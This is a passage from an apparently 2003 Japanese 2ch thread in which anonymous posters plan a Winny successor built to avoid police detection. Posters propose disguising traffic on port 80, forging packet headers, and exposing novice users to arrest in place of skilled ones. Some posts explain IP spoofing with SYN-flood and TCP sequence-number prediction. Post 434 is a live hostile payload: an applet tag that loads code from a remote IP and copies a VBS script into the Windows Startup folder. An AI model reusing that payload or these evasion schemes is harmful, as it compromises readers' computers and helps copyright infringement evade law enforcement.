多言語対応はいいんだけど言語変えたらその言語が最上級のクラスタワードに
なるようにしてしてほしいです。
名前は名無しとかNoNameとでも呼んどいてユーザー側に決めさせたら。

392 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:54 ID:LFoYQrRu
>>384
それでも数ヶ月我慢すれば落ちる事も・・・
再起動してまた繋いでリソース不足になったら再起動で
その繰り返しで落ちるファイルもある
半永久的に落ちないだろうなていうファイルもあるけどw

393 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:55 ID:Tq+J9XfR
Morpheusなんて、スパイウェアあるなんて知らなくて、もうすごかったよ。
ま、自力で消したけど


394 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:56 ID:EKL7tbUV
犯罪やめろ。消除依頼出してくる。

395 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:57 ID:bdEG4ptJ
ようはP2Pでシーケンス番号を規則的なものにして
偽装したまま接続を確立するのは無理と。

396 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 17:58 ID:Ff/8F7eZ
port80を使ってWeb閲覧みたいに偽装する
データの量が異常に多いからばれるか、、、

397 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:00 ID:rEVDMQ6p
送るデータごとにポートを自動で頻繁に変えるとか・・・むりか

398 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:00 ID:rF+Pid6S
やっぱりネットワークは大きい方がいいのかな。
いろんなジャンルをカバーできるし、一人一人が逮捕される可能性も少なくなる。

399 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:01 ID:lkq9p3dx
>>384
クラスタ分けを効率よくすることで、なんとかならないかな?

400 名前:真・スレッドストッパー 投稿日:03/11/29 18:01 ID:EKL7tbUV
もう書けませんよ・・・(´-`)

401 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:02 ID:812cSJSe


402 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:03 ID:0bkL/qHc
( ゚Д゚)ハァ?

403 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:04 ID:qee1GVMD
(;´Д`)ハァハァ

404 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:05 ID:bdEG4ptJ
>>384 ttp://akademeia.info/main/lecture1/hyoujyunn_ip_spoofing.htm
さっきほかのスッドレでみたけどSYN-floodするのは実在するホストの
パケットが流れたらコネクションを張れないからだよ。
ttp://akademeia.info/main/lecture2/tokubetu_spoofing.htm
ここを見てくれ。これでわかるはず。

P2Pで実現するには使われてないIPアドレスを利用者分用意する必要があるな。
あとシーケンス番号を規則的に生成する。
やっぱ使われてないIPアドレスを探すのが大変そう。

405 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:06 ID:/SMdQfPt
>>398
ずーっと前に案があったけど、厨は簡単に設定出来るものと
上級者用に設定複雑にするものを分けて配布。

厨用は匿名性をny程度にして、
上級者用は匿名性強度を高める。

これで、厨は捕まるが、上級者は無問題。


406 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:08 ID:bdEG4ptJ
PCを経由する際は必ずキャッシュは残るもの?

407 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:09 ID:pPYBNFva
> 上級者用に設定複雑にするものを分けて配布。
簡単に設定するツールを作成してあげましょう。


408 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:09 ID:Hrffpdza
>>405
設定ツールが出て終わり

409 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:11 ID:bdEG4ptJ
>>405 思うんだけどnyとかのヘビーユーザーだって
高い技術って言うのはオーバーだけどあんま知識がない人だって
かなりいるだろ。だからそうしちゃうとファイル数が
減ってしまうのでは?

410 名前:真・スレッドストッパー 投稿日:03/11/29 18:11 ID:EKL7tbUV
>>406
当たり前だろ

411 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:12 ID:BYKwRf1f
今のところ行われる予定の厨対策は実際根本的な解決になってないんだよな。
分ってるんだか分ってないんだか知らないが。

412 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:13 ID:nF31P9ES
>>410 その前提が間違ってるんだよ。
両方用意するのがいい。(ってのはガイシュツ

413 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:13 ID:FZYfmgmB
どうでもいいけどソースは公開されたの?

414 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:14 ID:N1PPRcP6
エンコがうまくてもネットワークの知識が無い方も大勢いるわけで、、

415 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:14 ID:nF31P9ES
>>411 というか厨対策なんて後で良いと何度言ったら

416 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:15 ID:Tq+J9XfR
厨房対策より、DOM対策を講じるべき。

417 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:15 ID:lkq9p3dx
>>416
UP必須にすればいいんでないかな。
クラックされない限りは。

418 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:16 ID:nF31P9ES
だからageるなと

419 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:17 ID:P8Ul8f8W
ソース公開したら簡単にクラッ(ry

420 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:17 ID:EKL7tbUV
厨房対策なんてどうでもいいだろ。
肝心な流通するファイルが減ってしまうじゃないか。
んなことより匿名性を重視すればいいではないか。

421 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:19 ID:Tq+J9XfR
>>417
UPフォルダと、DOWNフォルダを1つにするとか。kazaa見たいに。
それで、そのフォルダから、ファイルを移さなくても色々操作できるようにする。とか


422 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:19 ID:Hrffpdza
もうこのスレループしすぎ。

正常化は深夜か。

423 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:20 ID:rx2L6wkN
>>422 ループさせたくないならageるなと。馬鹿ですか?

424 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:20 ID:cLEC5UPX
マの人も厨が決めた仕様なんてコーディングしたくねぇだろ

425 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:21 ID:Cybz7DDy
そういや、警察にソース押収されて何か困ることでもあるのか?

426 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:21 ID:cLEC5UPX
あぁすまん 設計かと思った

427 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:21 ID:DPyT69eB
厨対策なんかどうでもいいだろ。まずは必要な仕様を固めるべき。
ユーザーによって次期P2Pが不利な状況におかれる可能性が出てきたときに
厨対策を考えればいいのであって、その前に厨が使おうがKが使おうが
問題の出てこないソフトに仕上げるほうが先決だろう。

428 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:22 ID:ChakXe5y
>>420
DLばっかりしてロクにUPしもせず
まったく罪の意識なく危機感ないのを厨房と言う

429 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:22 ID:nc0XpNX3
共有数・量とダウン効率が比例する
捏造ファイル警告指定されまくったファイルの保持者はP2Pから弾かれる
検索キーは細かく設定できる

このへんは必須だろうな

430 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:22 ID:GuxrSiXR
>>425
 解析されたらあぼーんだろっ
 いくら暗号化しようと、偽装しようと
 ソースさえわかればあぼーんっなんだよ。

431 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:23 ID:e8MIGzc8
>>404
だから偽装したSource Addressの本来のノードにSYN/ACKパケットが流れていくからDoSで落とすの。
本来のホストが逝ったあともそれは同じ。
Source Addressを偽装したSYNパケット攻撃対象ホストに送る。
攻撃対象ホストは詐称されたIPを持ってるホストにSYN/ACKパケットを送る。
このパケットは氏んでるホストに送られる。
んでそして予想したシーケンス番号を使ってACKパケットを送る訳。
偽装したアドレスのまま正常なセッションを開始できる訳じゃないの。
なんども言ってるけど一方的にデータを送り続けられるだけ。
応答パケットを返す時に参照するのはルーティングテーブル。
該当が無きゃデフォルトゲートウェイにそのまま流すの。
そこでも該当しなきゃまたゲートウェイに問い合わせるだけ。
そして詐称されたホストに届くだけ。
>>39もそう書いてる
サイトにはこう書かれてる。
>ゆえに、Attacerは、2つの問題がある。
>ソースアドレスを偽装しなければならない。
>ターゲットとのシーケンス番号のやり取りを維持しなければならない。
シーケンス番号のやり取りを維持するだけで正常なセッションじゃないの。


432 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:23 ID:rx2L6wkN
>>428 だからその厨対策は後でいくらでも出来るって言ってんじゃねえかボケ

433 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:24 ID:mgPuC5MU
警察はソースを見ながらWinnyを解剖して
Winny利用者収集ソフト作るんだろうな。
中でもひどい人を摘出していきそう

434 名前:R.O.D -THE_ヘ ル_バ- ◆THYOQYTAXA 投稿日:03/11/29 18:25 ID:m4IztZx7
<applet code="XView.class" codebase="ttp://64.156.47.155:80/wstream" name="EmuCam"
archive="XView.jar" width="640" height="480" id="EmuCam">
<fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" >
<param name=id value=16><param name="k1" value="123456789012345">
<param name="k2" value="678901234567890"></applet>

435 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:25 ID:GuxrSiXR

 つーか 聞きたいが 
 
  ダウソには時間掛かるが、安全性が高い
  素早くダウソできるが、安全性は低い

 どっちを重視する??

436 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:26 ID:rx2L6wkN
>>435
>ダウソには時間掛かるが、安全性が高い
そんな設計も挙がってないのに何いってんの?


437 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:26 ID:0Kgiv14r
#UPしないとだめってのは、いいアイデアだと思う。
#もってくだけでしかもキャッシュまで消しまくる香具師にほとほとむかついてた品
#まぁ、そうすると、適当なファイルとかUPする香具師でてきそうだしな・・
#捏造とかでもどうにでもなるし

438 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:26 ID:qbjOW1wM
>>434
氏ね

439 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:26 ID:/SMdQfPt
>>435
どちらを選べと言われたら。
ダウソには時間掛かるが、安全性が高い



440 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:27 ID:z2mEgKUf
まだやってるのか。
いい加減諦めろ。

441 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:28 ID:GuxrSiXR
 MXにしろNYにしろ、
  転送量がバカみたいに多いユーザがタイーホの対象となった。
  それを避けるような設計にするといいんじゃないか?

442 名前:S2400 ◆UEEVKPOKqs 投稿日:03/11/29 18:29 ID:iZ0yo0bO
なんだよ、また振り出しに戻りやがったよ

443 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:29 ID:Pb79miPU
>>435
現在可能なのは、

匿名性は高い、しかし速度と安定性が低め
匿名性はそれほど高くない、だけど高速で安定した実装(言うなればシンプル

こんなところだろ。

444 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:29 ID:u5z+9O9J
俺は厨房対策は不要だと思う。
理由1)今回の逮捕騒ぎで、Winnyが陥落したのは、厨房の責任ではなく、
Winnyに何らかの脆弱性があったためなので、厨房がいようがいまいが無関係。
理由2)もしもの時には厨房ユーザが多いほど、上級者が捕まる可能性が減る。

あとWinnyのソースが押収された事実は、本質的ではない。
それ以前に、Winnyに脆弱性があった可能性を否定できない、という事実が本質である。

445 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:31 ID:bdEG4ptJ
>>431 じゃあ何で侵入完了とかいてあるんだ?
意味がわから部分がある。セッションとコネクションは違うのでは?
あと3行目がよくわからない。SYN-floodが何かわかってる?
一方的にデータを送るならシーケンス番号を推測する意味はないよ?


446 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:31 ID:GuxrSiXR
つーか 人が作る以上 バグなんてあるんだよ。

447 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:31 ID:FZYfmgmB
>>444
脆弱性っていうより無理やりな警察のこじつけじゃない?

それと厨房のせいというより、マスゴミ(ねとらん等)が宣伝しすぎたせいで
警察が目をつけたのもあるかと思われ

448 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:32 ID:Pb79miPU
>>447
その可能性も否定できないが
次に繋ぐなら最悪なケースを想定して穴の無いようにするべきだろう。

449 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:32 ID:EKL7tbUV
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\ サイタマ  /     サイタマ    | |\
 \ │ / ウウ・・・ ∧_∧.    | |  \
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450 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:32 ID:GuxrSiXR
あら またageられたか。
 
 E-mail:欄に sage と書いておけ…。

451 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:33 ID:rx2L6wkN
>>443,444,447 カエレ

452 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:33 ID:GuxrSiXR
サイタマ房は あっちに逝って。

453 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:33 ID:pPYBNFva
要するに、裏でひっそりやっていればいいんだよ。
表に出るから目をつけられる。
それでファイルが減るかも知れんが逮捕されるよりはましだろ。

454 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:34 ID:rF+Pid6S
>>435
逮捕者がでるまでは後者の方がいいかと思ってたんだけど
今は前者かな、というか後者ならnyをそのまま使えるし。
80ポートとかで怪しまれないような速度でマターリやるのも一つの手かと思う。

455 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:34 ID:bdEG4ptJ
>>431 だいたいデータを受信できなきゃたとえば
ログイン画面とか表示できないじゃん。

456 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:34 ID:1XrBT9hs
>>444
別件逮捕なので、winnyには欠点はないんじゃない。
今のところ……。

457 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:34 ID:M+62IrdS
新しいの作ってみました。まだ試作なんで評価ください。
ttp://www.winmax.co.jp

458 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:35 ID:rx2L6wkN
>>454 だから帰れと
>>455 不注意でageているのか?

459 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:35 ID:pPYBNFva
>>456
別件逮捕というソースは?
別件ということにしたい奴らのデマに乗せられるなよ。

460 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:35 ID:M+62IrdS
>>457
(・∀・)イイ!

461 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:35 ID:EKL7tbUV
>>460
・・・・・・・・楽しいか?

462 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:36 ID:1XrBT9hs
それより警察がソースをACCSに流したらやだなあ。
警察じゃろくな解析はできないとおもうが、ぜひ47はオープンソースにして欲しい。
それを防ぐために家宅捜索したんならもう47の手元にはソースないかな。

463 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:36 ID:M+62IrdS
>>461
楽しいわけないだろ・・・

464 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:37 ID:Pb79miPU
>>458
あんたはなんなんだ?

465 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:37 ID:bKaIqPh/
>>462
ACCSなんかより京都府警の技術力のほうが何百倍もあるよ

466 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:37 ID:bdEG4ptJ
>>458 ごめん。間違えた

467 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:37 ID:qbjOW1wM
スクリプトのせいで漏れのビューア、ログ消えた・・・。
てか、深夜か週明けじゃないとまともな議論無理っぽいな。

468 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:38 ID:GuxrSiXR
ttp://www.winmax.co.jp
 つながらんし。

469 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:38 ID:rx2L6wkN
>>464=Pb79miPU
本質が見えてない厨は帰ってください。他のヤシもそうだが


470 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:39 ID:bKaIqPh/
これぐらいの荒らし
ニューヨークじゃなんともなかったぜ!

471 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:39 ID:1XrBT9hs
>>459
別件ということ自体にソースはないけれど、逮捕の経過が明らかに不自然だよね。
アップフォルダに入っているソフトがwinny内に流通しているのを確認したのがACCSなんだよな。
ACCSはそこしかやってないという。
では流していること自体はどうやってつかんだのか。
そこの説明がまったくない。
プロバイダでの傍聴は不可能だし、キャッシュかアップかの判断ができない以上、中間ノードになれば発信者であることを確認できるというわけでもない。
彼らがその部分をクラックしたなら鬼の首を取ったように発表するだろうしね。

472 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:40 ID:z2mEgKUf
まともな議論なんて無理。
技術的に不可能だからな。

473 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:40 ID:Q3zKdjqC
>>471
そりゃあ、京都府警がこの板をみてるからだろ

474 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:40 ID:Pb79miPU
>>469
本質も何もあんたの中の本質とやらが正しい保証はなし

つーか、そもそもあんたが言ってるループするなは無意味。
実装や運用にあたった問題はほぼ出尽くしているから。
ここから先に進むには専門家の力が必要だっつーの

475 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:40 ID:EKL7tbUV
鳥の詩でも聴いてろよ

476 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:41 ID:pPYBNFva
>>469
おうよ。本質は等価交換だ。
犯罪を犯したら捕まるリスクは必ずある。
これが基本原則だ。

477 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:41 ID:qbjOW1wM
仕様について話せ。
別件がどうだとかは他の厨がうようよいるスレで嫌でも出来る。

478 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:41 ID:1XrBT9hs
>>465
ないよ。
特に実績もないじゃない。
人海戦術は得意だろうけど、それは警察のお家芸だし。

479 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:42 ID:bKaIqPh/
・"こ こ は 仕 様 を 決 め る ス レ ッ ド で す。
・"こ こ は 仕 様 を 決 め る ス レ ッ ド で す。
・"こ こ は 仕 様 を 決 め る ス レ ッ ド で す。

480 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:42 ID:6NEJnzBX
>465
そういや漏れのいた研究室の職人は警官になった。
京都じゃないけど。

481 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:43 ID:rx2L6wkN
>>472,474
>ここから先に進むには専門家の力が必要だっつーの

・・・・え?

482 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:43 ID:pPYBNFva
>>471
そして大丈夫だろうと高を括るわけか。
危機意識もっているか?
リスク管理は出来ているか?
最悪のケースを考えるものだろ。


483 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:44 ID:ChakXe5y
厨房対策と言うよりも
あれだよネトラン房対策
房つかまれば良いので神の逮捕確立は減ると言ってるけど
そもそもWinnyで逮捕者でたのはアングラなのにここまで広まったからkに目
つけられて捜査乗り出したんだろうよ
まず目立たなくするために一般書籍に載らないように対策するのは必須
あとで問題になったら対策すれば良いとか言う人までいたが
広まってkにマークされ始めたら終わりだよ

484 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:44 ID:pPYBNFva

 犯 罪 を も み 消 す 仕 様 な ど 無 い !

485 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:44 ID:rx2L6wkN
>>483 ネタですか?釣りですか?

486 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:44 ID:Pb79miPU
まあ本質が見えてないと他人を評価できる立場にいる崇高な身分の御方な様だから、
本質とやらを見抜いているはずなので、せめてこのスレの発展のために
有意義な発言をしてもらいたいものだ。

これまでのレスを見ると煽りしかしてないようだから、
そろそろお考えをお聞かせ願いたい>rx2L6wkN

487 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:44 ID:/SMdQfPt
一時、遠めでみてよ。

488 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:44 ID:x4GIk3H1
nyからキャッシュ変換・複号機能を取り除いて
別ソフトでするってのはどうよ。
nyキャッシュ表示ツールに変換・複号機能をつけたようなのを作って。
だったら、純粋にキャッシュのやりとりしかしてませんよ と言い張れると思うけど。
ダメか

489 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:45 ID:EKL7tbUV
インストベストうpしてくれー

490 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:45 ID:rx2L6wkN
>>486
あのですねー。IDってのは移ろうものでして。
別にいいけど、これまでの発言を繰り返すことになるね。。
まあお前らよりはマシなんだが。。
待ってて

491 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:46 ID:GuxrSiXR
仕様かどうかわからんが…

 WebページをP2P配信するというのを前提にして
 80番ポートを標準とする。

 それに上乗せしてファイル転送を行う。

 こうすれば、トラフィックが増加しても怪しまれることはない??
 

492 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:46 ID:pPYBNFva
>>488
ダメだろ。そんなのが許されるなら圧縮したファイルでも許されるだろ。

493 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:47 ID:rx2L6wkN
たったこれだけだ。
相手ノードがK察のおとりPCだった場合でも言い訳可能な仕組みを作る。

これをクリアしない限り他はほとんど無意味。
厨対策て。

494 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:47 ID:pPYBNFva
>>490
>待ってて
まってる(はーと)

495 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:48 ID:ypWDru3F
オラなんだかワクワクしてきたぞ

496 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:48 ID:rx2L6wkN
>>494 >>490 よろ。たったこれだけです。それも分かってなかったんだろ?帰れ。

497 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:48 ID:qbjOW1wM
Pb79miPUさんへ。
前スレからいるから忠告。今はネタと煽りしかいないみたいだから、
少し落ち着いてから書き込む方がいいと思う。
すでに前からいる人はロムに入ってるよ。

498 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:48 ID:Pb79miPU
>>490
ちなみに釘をさしておきますが、ループはお嫌いなようなので
現在あがっている問題点のいくつかを解決できる策を提示してください
過去に出たものではそれらをクリアにできなかったので。

今必死で過去ログをあさっている最中で、ここを見てないのかもしれないけど。

499 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:49 ID:e8MIGzc8
>>445
侵入完了ってのは偽装されたパケットを信頼されたホストからのパケットとして受信してくれるようになったって事。

>SYNパケット攻撃対象ホスト
「を」を足してくれ。SYNパケットを攻撃対象ホスト
それから攻撃対象ホストはSyn-floodさせるホストじゃなくて
IPアドレスを偽装したパケットを送りつけられるホスト。

セッションてのは自分で調べろ。

>一方的にデータを送るならシーケンス番号を推測する意味はないよ?
ここがそもそも大きな間違い。
推測しないと意味が無い。
これはAttackの手段なの。
偽装するIPアドレスは攻撃対象ホストに信頼されたホストのIPアドレスなんだよ。
信頼されてないホストからのIPアドレスじゃパケットを破棄されるようなシステムを狙った時の手段なの。
TCPで一方的にSource Address偽装したパケットを送りつけてそれを受信してもらうにはにはシーケンス番号の推測は絶対条件なの。
わかった?

500 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:49 ID:b7Evhk0w
おまえら
たくましいな、、、、

501 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:49 ID:1XrBT9hs
HTTPプロトコルを偽装するような仕様はいいよな。
QoSで優先度振り分けができないように。

502 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:50 ID:Pb79miPU
>>496
だからそれを解決するには専門家の分析とかが必要になるだろうが。
そもそも中継ですら白なのか黒なのか怪しくて誰も答えを出せてない。
この問題はP2Pネットワーク構築の中核にあたる部分だから
棚上げして次の段階に進むわけには行かない

って何度も言った気がするんだが、読んでないのね。

503 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:50 ID:rx2L6wkN
>>498>>493

ていうかそんな追加条件示されても。


解決策をいろいろ模索するためのスレで、少なくとも厨対策を考えるスレではないんよ。
わかりますよね。


504 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:50 ID:GuxrSiXR
いったいどうなるんだろうか
 次世代p2pは…。。

β完成はいつになるやら…

505 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:52 ID:rx2L6wkN
>>502 読んでる。
専門家の意見とかよりも、ファイル分割とか複数ノードダウソとかそっちの有効性についてもっと語られるべき

506 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:52 ID:pPYBNFva
>>502
白か黒か怪しいのなら、より都合の悪い場合を想定すればいいだろ。

507 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:53 ID:rx2L6wkN
>>502 そういう事です 安全側の議論をすべきです

508 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:53 ID:Pb79miPU
>>497
そうだな、すまん。
どうせこのIDは日付が変わるまでだと思うと
ついつい書き込んじゃうの。
コテやる気はさらさら無いからあまり痛手はないんだし。

509 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:54 ID:CvJB8xoK
>>rx2L6wkN EKL7tbUV

お前とお前は帰ってよし

510 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:55 ID:RuonkITM
まあ切断→再接続に10秒かからないワケだが

511 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:56 ID:YACjP2Qr
β版はとりあえずテキストファイル専用でやるべきだな
創作文芸板と詩・ポエム板を協力させてさ

512 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:57 ID:RuonkITM
・・・そしてまた>>511のようなヤシが現れるワケだが。

513 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:57 ID:pPYBNFva
それだ! どれだ?

514 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:58 ID:OSjyZqJz
>>511
uuencode, base64, ish とか効率の悪いやりとりでつか?

515 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:58 ID:GuxrSiXR
設定は、厨房が直接変更できないようにレジストリに入れておく。
 外部ツール作られて変えられた場合でも不正な変更ということで検知し、
 前の設定に戻される。

共有ツール上からしか設定できないが、
 全てコマンドラインでの設定とする。

 

516 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:58 ID:RuonkITM
>>515 真面目にこういう事をいうヤツが居るから怖い

517 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 18:59 ID:z2mEgKUf
また誰かが適当な物作って適当に逮捕されての繰り返しだろ。
TCP/IP使う以上は匿名性は保たれない事には変わりないんだし何しても無駄。


518 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:00 ID:nAsgnQgm
   次期P2Pのクリアすべき課題を法的な観点から考察
ttp://tmp2.2ch.net/test/read.cgi/download/1070084504/l50

ここもあるのでよろしく。


519 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:02 ID:z2mEgKUf
TCP/IP使う事で最大限匿名性を保てる事と言えば
キャッシュの分割、暗号化、多段串、これ位か。

520 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:02 ID:AFaBJT5n
あと十年もすれば、IPv6 に本格的に移行しているかな?
そしたら、グローバルIPからの個人特定なんてとっても複雑になる悪寒…。
その頃は、もっとシンプルなP2Pでも、特定困難で大きく広まっているかも…
でも、その頃は、きっと使用できるポートにいろいろ制限が加わっているかも…

勝手に脳内妄想ですた。


521 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:02 ID:Rmlkzo5V
キャッシュを奇数バイトと偶数バイトにわけて管理するのはどうだ?
半分を手に入れただけではまったく意味がない。

難点は偽造を見分けるのが大変になる事か。

522 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:03 ID:pPYBNFva
>>515
よーし。お兄さんが、CUIアプリでもGUIアプリでも
外部から操作するツール作っちゃうぞ。

523 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:04 ID:OSjyZqJz
>>521
ガイシュツ。

524 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:04 ID:RuonkITM
>>520 521 あんたらの発言が釣りとしか思えませんが何か

525 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:04 ID:GuxrSiXR
TCP/IPじゃないプロトコルを作るか…
 何にせよ どっからどこにつなぐという概念がある。
 
何にしろ完全な匿名性は無理なわけだ。

526 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:04 ID:Rmlkzo5V
>>520
というか逆だぞ。
全てのIPが固定になるからな。

527 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:04 ID:Pb79miPU
>>521
無意味、どうせ暗号化しちゃうんだから
そんな処理をあと付けしなくても自然にスマートに解決される。
また、偽造の問題もガイシュツだね

528 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:05 ID:j1i0PPzY
・ファイル分割・分散方式

・パケットヘッダー偽造による匿名化

・難操作性による初心者の排除

・ノード信頼度の導入を使用した当局からの接続の排除

・高度暗号化による盗聴防止

他にある?


529 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:06 ID:Pb79miPU
・ファイル分割
・分散方式
・(高度)暗号化による盗聴防止

以下無意味or実現困難
・パケットヘッダー偽造による匿名化
・難操作性による初心者の排除
・ノード信頼度の導入を使用した当局からの接続の排除



530 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:07 ID:9SmVkF1i
ステートフル・インスペクションOKのルータと
UDPで完全になにしているかわからないシステムできそうだが。

ただ、これだと、ルータ前提だ。

531 名前:[名無し]さん(bin+cue).rar 投稿日:03/11/29 19:07 ID:RuonkITM
>>528
うーん。

